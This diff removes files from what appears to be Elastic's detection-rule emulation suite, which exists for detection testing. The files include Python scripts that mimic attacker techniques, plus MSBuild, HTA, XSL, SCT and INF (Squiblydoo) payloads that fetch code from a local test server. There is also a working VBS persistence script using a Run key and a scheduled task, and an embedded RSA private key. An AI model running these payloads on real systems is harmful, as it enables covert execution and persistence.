-32
View File
@@ -1,32 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="084c5d8f-2578-4fe0-bc6f-f6c44205804a",
platforms=["macos"],
endpoint=[
{
"rule_name": "At Job Creation or Modification by an Unusual Process",
"rule_id": "779f18ce-1457-457c-80e1-3a5d146c2dc0",
}
],
siem=[],
techniques=["T1053", "T1053.002"],
)
@common.requires_os(*metadata.platforms)
def main():
common.log("Executing file creation on /private/var/at/jobs/test.")
common.temporary_file_helper("testing", file_name="/private/var/at/jobs/test")
if __name__ == "__main__":
exit(main())
-39
View File
@@ -1,39 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from pathlib import Path
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="72c2470b-c96e-4b44-88ec-1a67c4ec091c",
platforms=["macos"],
endpoint=[],
siem=[
{
"rule_name": "Potential Persistence via Atom Init Script Modification",
"rule_id": "b4449455-f986-4b5a-82ed-e36b129331f7",
}
],
techniques=["T1037"],
)
@common.requires_os(*metadata.platforms)
def main():
atom_dir = Path.home().joinpath(".atom")
atom_dir.mkdir(parents=True, exist_ok=True)
atom_path = atom_dir.joinpath("init.coffee")
common.log(f"Executing file modification on {atom_path} to mimic malicious Atom init file.")
common.temporary_file_helper("testing", file_name=atom_path)
# cleanup
common.remove_directory(str(atom_dir))
if __name__ == "__main__":
exit(main())
-36
View File
@@ -1,36 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="a078ecca-e8b8-4ae8-a76c-3238e74ca34d",
platforms=["linux"],
endpoint=[
{"rule_id": "13fd98ce-f1c3-423f-9441-45c50eb462c0", "rule_name": "Attempt to etablish VScode Remote Tunnel"},
],
siem=[],
techniques=["T1102", "T1059"],
)
@common.requires_os(*metadata.platforms)
def main() -> None:
masquerade = "/tmp/code"
source = common.get_path("bin", "linux.ditto_and_spawn")
common.copy_file(source, masquerade)
# Execute command
common.log("Executing Fake commands to test Attempt to etablish VScode Remote Tunnel")
common.execute([masquerade, "tunnel"], timeout=10, kill=True)
# cleanup
common.remove_file(masquerade)
if __name__ == "__main__":
sys.exit(main())
-27
View File
@@ -1,27 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="96c3cc10-7f86-428c-b353-e9de52472a96",
platforms=["macos"],
endpoint=[],
siem=[{"rule_name": "Authorization Plugin Modification", "rule_id": "e6c98d38-633d-4b3e-9387-42112cd5ac10"}],
techniques=["T1547"],
)
@common.requires_os(*metadata.platforms)
def main():
common.log("Executing file modification on test.plist to mimic authorization plugin modification")
common.temporary_file_helper("testing", file_name="/Library/Security/SecurityAgentPlugins/test.plist")
if __name__ == "__main__":
exit(main())
-41
View File
@@ -1,41 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="6294e8bd-a82e-4d60-9de7-cceb639e91d9",
platforms=["macos"],
endpoint=[
{"rule_name": "Suspicious Automator Workflows Execution", "rule_id": "e390d36d-c739-43ee-9e3d-5a76fa853bd5"}
],
siem=[{"rule_name": "Suspicious Automator Workflows Execution", "rule_id": "5d9f8cfc-0d03-443e-a167-2b0597ce0965"}],
techniques=["T1059"],
)
@common.requires_os(*metadata.platforms)
def main():
# create masquerades
masquerade = "/tmp/automator"
masquerade2 = "/tmp/com.apple.automator.runner"
common.create_macos_masquerade(masquerade)
common.copy_file("/usr/bin/curl", masquerade2)
# Execute command
common.log("Launching fake commands to launch Automator workflows")
common.execute([masquerade], timeout=10, kill=True)
common.execute([masquerade2, "portquiz.net"], timeout=10, kill=True)
# cleanup
common.remove_file(masquerade)
common.remove_file(masquerade2)
if __name__ == "__main__":
exit(main())
-36
View File
@@ -1,36 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="fa2bbba7-66f4-4fd6-9c81-599d58fe67e8",
platforms=["macos"],
endpoint=[
{"rule_name": "Background Process Execution via Shell", "rule_id": "603ac59e-9cca-4c48-9750-e38399079043"}
],
siem=[],
techniques=["T1059", "T1059.004"],
)
@common.requires_os(*metadata.platforms)
def main():
masquerade = "/tmp/sh"
common.create_macos_masquerade(masquerade)
common.log("Executing background processes via sh from tmp directory.")
command = 'bash -c "/* &"'
common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True)
# cleanup
common.remove_file(masquerade)
if __name__ == "__main__":
exit(main())
-36
View File
@@ -1,36 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="631a211d-bdaa-4b9d-a786-31d84d7bc070",
platforms=["linux"],
endpoint=[
{"rule_id": "31da6564-b3d3-4fc8-9a96-75ad0b364363", "rule_name": "Tampering of Bash Command-Line History"},
],
siem=[],
techniques=["T1070", "T1070.003"],
)
@common.requires_os(*metadata.platforms)
def main() -> None:
masquerade = "/tmp/history"
source = common.get_path("bin", "linux.ditto_and_spawn")
common.copy_file(source, masquerade)
# Execute command
common.log("Launching fake builtin commands for tampering of bash command line history")
command = "-c"
common.execute([masquerade, command], timeout=10, kill=True, shell=True) # noqa: S604
# cleanup
common.remove_file(masquerade)
if __name__ == "__main__":
sys.exit(main())
-36
View File
@@ -1,36 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="057f2c1b-28cc-4286-92ce-75e789aa8e74",
platforms=["macos"],
endpoint=[
{"rule_name": "Potential Kerberos Attack via Bifrost", "rule_id": "fecebe4f-2d28-46e7-9bc1-71cdd8ecdd60"}
],
siem=[{"rule_name": "Potential Kerberos Attack via Bifrost", "rule_id": "16904215-2c95-4ac8-bf5c-12354e047192"}],
techniques=["T1558", "T1550"],
)
@common.requires_os(*metadata.platforms)
def main():
masquerade = "/tmp/bifrost"
common.create_macos_masquerade(masquerade)
# Execute command
common.log("Launching fake bifrost attack with kerberoast commands")
common.execute([masquerade, "-action", "-kerberoast"], timeout=10, kill=True)
# cleanup
common.remove_file(masquerade)
if __name__ == "__main__":
exit(main())
-65
View File
@@ -1,65 +0,0 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello From a Code Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<!-- <Reference Include="System.IO" /> Example Include -->
<Reference Include="System.Xml" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Xml;
public class ClassExample : Task, ITask
{
public static void XMLGet()
{
try
{
Console.WriteLine("XML Get Request...");
var xmlDoc = new XmlDocument();
xmlDoc.Load("http://127.0.0.1:8000");
}
catch
{
}
}
public override bool Execute()
{
Console.WriteLine("Hello From a Class.");
XMLGet();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Binary file not shown.
-16
View File
@@ -1,16 +0,0 @@
function ExecFromISO {
[CmdletBinding()]
param(
[Parameter()]
[string] $ISOFile,
[string] $procname,
[string] $cmdline
)
$MountMeta = Mount-DiskImage -ImagePath $ISOFile -StorageType ISO -Access ReadOnly
$DriveLetter = ($MountMeta | Get-Volume).DriveLetter
if ($cmdline) {Start-Process -FilePath "$($DriveLetter):\$($procname)" -ArgumentList "$($cmdline)";}
else {Start-Process -FilePath "$($DriveLetter):\$($procname)" -WorkingDirectory "$($DriveLetter):\"}
Start-Sleep -s 2
Stop-process -name $procname -Force -ErrorAction ignore
Dismount-DiskImage -ImagePath $ISOFile | Out-Null
}
Binary file not shown.
-27
View File
@@ -1,27 +0,0 @@
function Invoke-ImageLoad {
[CmdletBinding()]
param(
[Parameter(Position=0,Mandatory=$True)]
[String]
$DllPath
)
$type=@"
using System;
using System.Runtime.InteropServices;
public class ImportIt
{
public const string DLLPath = @"$DLLPath";
[DllImport(DLLPath, EntryPoint = "GetClassNameW", CharSet = CharSet.Unicode)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);
public static void Main()
{
MessageBox(new IntPtr(0), "Hello RTA!", "Hello Dialog", 0);
}
}
"@
Add-Type -TypeDefinition $type;
[ImportIt]::Main();
}
Binary file not shown.
Binary file not shown.
-14
View File
@@ -1,14 +0,0 @@
PowerSploit is provided under the 3-clause BSD license below.
*************************************************************
Copyright (c) 2012, Matthew Graeber
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Binary file not shown.
Binary file not shown.
-4
View File
@@ -1,4 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
-11
View File
@@ -1,11 +0,0 @@
<HTML>
<HEAD>
<script language="javascript" type="text/javascript">
var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0");
xhr.open("GET","http://127.0.0.1:8000",false);
xhr.send();
</script>
</HEAD>
</HTML>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-21
View File
@@ -1,21 +0,0 @@
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<xsl:output encoding="UTF-8" indent="yes" method="xml" />
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist)
{
var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0");
xhr.open("GET","http://127.0.0.1:8000",false);
xhr.send();
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
-14
View File
@@ -1,14 +0,0 @@
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
<customer>
<name>John Smith</name>
<address>123 Elm St.</address>
<phone>(123) 456-7890</phone>
</customer>
<customer>
<name>Mary Jones</name>
<address>456 Oak Ave.</address>
<phone>(156) 789-0123</phone>
</customer>
</customers>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-12
View File
@@ -1,12 +0,0 @@
<?XML version="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("notepad.exe");
]]>
</script>
</registration>
</scriptlet>
-9
View File
@@ -1,9 +0,0 @@
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,C:\Users\Administrator\Desktop\rta\bin\notepad.sct
-123
View File
@@ -1,123 +0,0 @@
dim shellobj
dim fs
dim logFile
set fs = CreateObject("Scripting.FileSystemObject")
set shellObj = WScript.CreateObject("wscript.shell")
name = "rta-vbs-persistence"
logPath = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & ".log"
set logFile = fs.OpenTextFile(logPath, 8, True)
startupDir = shellObj.SpecialFolders("Startup")
shortcutLink = startupDir & "\" & name & "-startup.lnk"
startupTarget = startupDir & "\" & name & "-startup.vbs"
shortcutTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-startup-shortcut.vbs"
taskTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-task.vbs"
runTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-run-key.vbs"
runKey = "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & name
function log(logType, message)
line = "[" & logType & "] " & wscript.ScriptName & " - " & message
' WScript.Echo line
logFile.WriteLine line
end function
function logLine
logFile.WriteLine ""
end function
'Add self logging functions
function copyScript(target)
log "+", "Copying " & wscript.ScriptFullName & " to " & target
fs.CopyFile wscript.ScriptFullName, target, true
end function
function deleteFile(path)
log "-", "Deleting " & path
fs.DeleteFile(path)
end function
function run(command)
log ">", command
errorCode = shellObj.Run(command, 0, True)
if errorCode <> 0 then
log ">", "exit code = " & errorCode
end if
end function
function deleteScript()
deleteFile wscript.ScriptFullName
end function
log "=", "Started"
'Establish persistence or remove persistence after the first execution
if wscript.ScriptFullName = shortcutTarget then
'Check if this is running and came from a shortcut
log "+", "Running from a shortcut target"
deleteScript
deleteFile shortcutLink
elseif wscript.ScriptFullName = startupTarget then
'Delete the file
log "+", "Running from the startup folder directly"
deleteScript
elseif wscript.ScriptFullName = taskTarget then
'Remove the task and the file
log "+", "Running as a scheduled task"
deleteScript
run "schtasks.exe /delete /f /tn " & name
elseif wscript.ScriptFullName = runTarget then
'Remove the registry key and the file
log "+", "Running as a run item"
deleteScript
log "-", "Removing registry key " & runKey
shellObj.RegDelete runKey
else
'Copy the file to a few locations
dim shortcut
log "+", "Establish Persistence" & crlf
'Copy to the StartUp directory
log "+", "Startup File"
copyScript startupTarget
logLine
'Create a shortcut in the StartUp directory
log "+", "Startup Shortcut"
copyScript shortcutTarget
set shortcut = shellObj.CreateShortcut(shortcutLink)
shortcut.TargetPath = "wscript.exe"
shortcut.Arguments = "//B " & chrw(34) & shortcutTarget & chrw(34)
shortcut.save()
logLine
'Create a scheduled task
log "-", "Scheduled Task" & crlf
copyScript taskTarget
run "schtasks.exe /create /f /sc onlogon /tn " & name & " /tr " & chrw(34) & "wscript.exe //B " & ("\" & chrw(34)) & runTarget & ("\" & chrw(34)) & chrw(34)
logLine
'Create the run key
log "+", "Run Key via Registry"
copyScript runTarget
shellObj.RegWrite runKey, "wscript.exe //B " & chrw(34) & runTarget & chrw(34), "REG_SZ"
logLine
end if
log "-", "Exiting"
logFile.WriteLine ""
logFile.WriteLine ""
logFile.Close()
Binary file not shown.
Binary file not shown.
-27
View File
@@ -1,27 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuy7HkecTrKhGuZW7/KugrrUNmNGPjvZGXTpGJIb3ycU5KSNk
VutDTpjL6QpqJc4O/2J77lEjGsx+H+CUcrXSK5cSifD5Qd73ZRM6wnfulpUBKJoi
LasX7umpRtx/xwOQGvDBBYvB6QVhvmlisqkhRIZLphi4qxfBJ1+RzfsG8JNvDmvl
tkEogGMaj5rVplbhKycSkuqflEF+tuhnSCiLgAAyFcFzhDp1sJP7mHf0RX1qxGtq
1e+OduZxA8omDB3urvZ+3smCnEgYk920Ikbzs5zEjwHMgh6mtqLLO1xLOefTFWUM
+i6z05mowdi3l3e26LOQLhHftBxh88W41b60mwIDAQABAoIBACyJ4v66hxnsKHf8
QvDKPb+UYRnds1UHEJMaTJpgaxFdlk5Nl5B/BlLrVIms6rj4IOVvn6GDOOEli1U2
cNwim1G37rdX2VdtIFyyiKbBNsopxk7M7hkDvvwgKSEtUlIebOmcI7GYIZm6qBlQ
piVwzPOrKNDqzPYY/uLJgL4MXwhbBDzgi4qsNOFol05r0YISiHxI3CRmk0zFQnwr
xIIg4WR6NbWKVp/CLfGrJFwE0wG9J1D3xf3hclHKEmOCuEI0PuGQqH7gwzfPxCT5
kzfi513iqTRvxwn0euUY9qqHZNuMoW3p7oGvObgZhRmN1qlE5kmN1moZhlcQuIkr
enhCVCECgYEA378gwqZdsWLinMwScSDNz3WAc8rThwdB3qz3cBRFWFV0/qlMLxpC
ne+kSBekym3vNK4ZWJf6XHpVodHGB3mSVOCGAgziEy5nlVtoO64qQoa6gTDAjdEv
eGh27lEresi3MiP9JHE7TN3nwcjlpuRfnutqgnlVJeVmwasDB/E2vGkCgYEA1ipX
5vUZz7z7LU5VNPskn5naGHkuLrlQaCqKWdXMOXsOoP3w4Z4PptWzroa/i5O4OGqV
2x7wkAAa73oqRnt8+OTwCxfzBhdQDCfIw9joZrJiCCbqNny8zQcXBI2AcdWaI2m3
jfzKXtxtCAz2WFLE1g2RjLSjw/F2XPpjN9daGGMCgYBa7ueWlFyhuimVRg78sTNT
7FJPPRBo4Vcw86UAhQyF0P1iflW7EvYeEAX5UrqjlrhP9a3RZrrWmNVylbng0dTZ
8AImlSvQVdy9Q9AB6U+9h9oGpVSsjma3jeVAB/ceyLJDi4LXK7nJDKqjBE3pXQlL
oivAaSVk6G2xqhnqQWtYeQKBgQDRWuk888J8qc+cNWPj+9GMVzi1DdjQggURHuzJ
7s7KLfpZ9IPB+eJxA5y3ci/SwN+n/sFpR3CARCoQigrDhbngEOR647mE7cspZsbC
dMqSgbSFJY11IDDr+A9POwghv14DWje+DCzD2JSY9xrlsluKqA7tTjR8uhEryPSu
xMzk4wKBgCufVxHkqM1wWF8Mt80YIluTx+NJSx8UF8TCYeeJimO0MAPMp7u9mSSh
upElHcfKf2fnACO8IHuDMx6luAo+BAdSzOtkERK9rwJ5y0Ktef58MhuMY8jmKKrD
NcKPu3VXnLZ6Gc3qF2Kiy2Qqz0sNqtDsr9L1c9To55GeJ4uZt0BU
-----END RSA PRIVATE KEY-----
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-8
View File
@@ -1,8 +0,0 @@
[Version]
Signature=$CHICAGO$
[DefaultInstall]
UnregisterDlls = Squiblydoo
[Squiblydoo]
11,,scrobj.dll,2,60,http://127.0.0.1:8000/bin/notepad.sct
Binary file not shown.
Binary file not shown.
-29
View File
@@ -1,29 +0,0 @@
BSD 3-Clause License
Copyright (c) 2017, Matt Graeber
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Binary file not shown.
@@ -1,44 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="1b7fe2e7-29c0-4d10-9ced-8b9cd158835d",
platforms=["linux"],
endpoint=[
{
"rule_id": "78ae5dbd-477b-4ce7-a7f7-8c4b5e228df2",
"rule_name": "Binary Executed from Shared Memory Directory",
},
],
siem=[
{
"rule_id": "3f3f9fe2-d095-11ec-95dc-f661ea17fbce",
"rule_name": "Binary Executed from Shared Memory Directory",
},
],
techniques=["T1620"],
)
@common.requires_os(metadata.platforms)
def main() -> None:
masquerade = "/dev/shm/test"
source = common.get_path("bin", "linux.ditto_and_spawn")
common.copy_file(source, masquerade)
# Execute command
common.log("Executing Fake binary from Shared Memory")
common.execute([masquerade, "test"], timeout=10, kill=True)
# cleanup
common.remove_file(masquerade)
if __name__ == "__main__":
sys.exit(main())
-37
View File
@@ -1,37 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import platform
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="62eb4521-cfb8-4fb8-bc6d-792fe57273b7",
platforms=["macos"],
endpoint=[
{
"rule_name": "Potential Binary Masquerading via Invalid Code Signature",
"rule_id": "4154c8ce-c718-4641-80db-a6a52276f1a4",
}
],
siem=[],
techniques=["T1036"],
)
@common.requires_os(*metadata.platforms)
def main():
if platform.processor() == "arm":
name = "com.apple.sleep_arm"
else:
name = "com.apple.sleep_intel"
path = common.get_path("bin", name)
common.execute([path, "5"], kill=True)
if __name__ == "__main__":
exit(main())
-45
View File
@@ -1,45 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: Suspicious BitsAdmin Download File
# RTA: bitsadmin_download.py
# ATT&CK: T1197
# Description: Runs BitsAdmin to download file via command line.
import subprocess
from pathlib import Path
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="aee48793-01ec-428f-9890-c5db9df07830",
platforms=["windows"],
endpoint=[],
siem=[{"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}],
techniques=["T1566"],
)
@common.requires_os(*metadata.platforms)
def main():
common.log("Running Windows BitsAdmin to Download")
server, ip, port = common.serve_web()
url = "http://" + ip + ":" + str(port) + "/bin/myapp.exe"
dest_path = Path("myapp-test.exe").resolve()
fake_word = Path("winword.exe").resolve()
common.log("Emulating parent process: {parent}".format(parent=fake_word))
common.copy_file("C:\\Windows\\System32\\cmd.exe", fake_word)
command = subprocess.list2cmdline(["bitsadmin.exe", "/Transfer", "/Download", url, dest_path])
common.execute([fake_word, "/c", command], timeout=15, kill=True)
common.execute(["taskkill", "/f", "/im", "bitsadmin.exe"])
common.remove_files(dest_path, fake_word)
if __name__ == "__main__":
exit(main())
-42
View File
@@ -1,42 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import subprocess
from pathlib import Path
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="e7a55d39-37b4-4f37-9519-3779b3c23bfa",
platforms=["windows"],
endpoint=[
{"rule_name": "Suspicious Bitsadmin Activity", "rule_id": "676ac66c-4899-498f-ae21-ed5620af5477"},
{"rule_name": "Suspicious Microsoft Office Child Process", "rule_id": "c34a9dca-66cf-4283-944d-1800b28ae690"},
],
siem=[],
techniques=["T1197", "T1566"],
)
ROOT_DIR = Path(__file__).parent
EXE_FILE = common.get_path("bin", "renamed.exe")
@common.requires_os(*metadata.platforms)
def main():
fake_word = ROOT_DIR / "winword.exe"
common.log(f"Copying {EXE_FILE} to {fake_word}")
common.copy_file(EXE_FILE, fake_word)
command = subprocess.list2cmdline(["bitsadmin.exe", "/Transfer", "/Download"])
common.execute([fake_word, "/c", command], timeout=15, kill=True)
common.execute(["taskkill", "/f", "/im", "bitsadmin.exe"])
common.remove_files(fake_word)
if __name__ == "__main__":
exit(main())
-41
View File
@@ -1,41 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from pathlib import Path
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="ea187b1f-4aa0-4ffc-bac9-9ee1d55552fd",
platforms=["macos"],
endpoint=[
{
"rule_name": "Suspicious Access to Stored Browser Credentials",
"rule_id": "cea870d6-e6ee-4435-bc80-2c80e834c5d1",
}
],
siem=[{"rule_name": "Access of Stored Browser Credentials", "rule_id": "20457e4f-d1de-4b92-ae69-142e27a4342a"}],
techniques=["T1539", "T1555"],
)
@common.requires_os(*metadata.platforms)
def main():
masquerade = "/tmp/bash"
common.create_macos_masquerade(masquerade)
# Execute command
common.log("Launching fake commands to aquire browser creds")
cookie_path = f"{Path.home()}/Library/Application Support/Google/Chrome/Default/Cookies"
common.execute([masquerade, cookie_path], timeout=10, kill=True)
# cleanup
common.remove_file(masquerade)
if __name__ == "__main__":
exit(main())
-65
View File
@@ -1,65 +0,0 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import platform
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="e061a96e-4c31-4f67-9745-6ff873f7829e",
platforms=["windows", "macos", "linux"],
endpoint=[
{
"rule_name": "Potential Cookies Theft via Browser Debugging",
"rule_id": "5d7328aa-973b-41e7-a6b3-6f40ea3094f1",
},
],
siem=[
{
"rule_name": "Potential Cookies Theft via Browser Debugging",
"rule_id": "027ff9ea-85e7-42e3-99d2-bbb7069e02eb",
},
],
techniques=["T1539"],
)
EXE_FILE = common.get_path("bin", "renamed_posh.exe")
@common.requires_os(*metadata.platforms)
def main() -> None:
param1 = "--remote-debugging-port=9222"
param2 = "--user-data-dir=remote-profile"
if platform.system() == "Darwin":
name = "com.apple.ditto_and_spawn_arm" if platform.processor() == "arm" else "com.apple.ditto_and_spawn_intel"
source = common.get_path("bin", name)
chrome = "/tmp/google-chrome"
common.copy_file(source, chrome)
common.log("Starting browser on debug mode")
common.execute([chrome, param1, param2], timeout=10, kill=True)
elif common.CURRENT_OS == "linux":
name = "linux.ditto_and_spawn"
source = common.get_path("bin", name)
chrome = "/tmp/google-chrome"
common.copy_file(source, chrome)
common.log("Starting browser on debug mode")
common.execute([chrome, param1, param2], timeout=10, kill=True)
else:
chrome = "C:\\Users\\Public\\chrome.exe"
common.copy_file(EXE_FILE, chrome)
# Execute command
common.log("Mimicking the start of a browser on debug mode")
common.execute([chrome, "/c", "echo", param1, param2], timeout=10)
common.remove_file(chrome)
if __name__ == "__main__":
sys.exit(main())
-75
View File
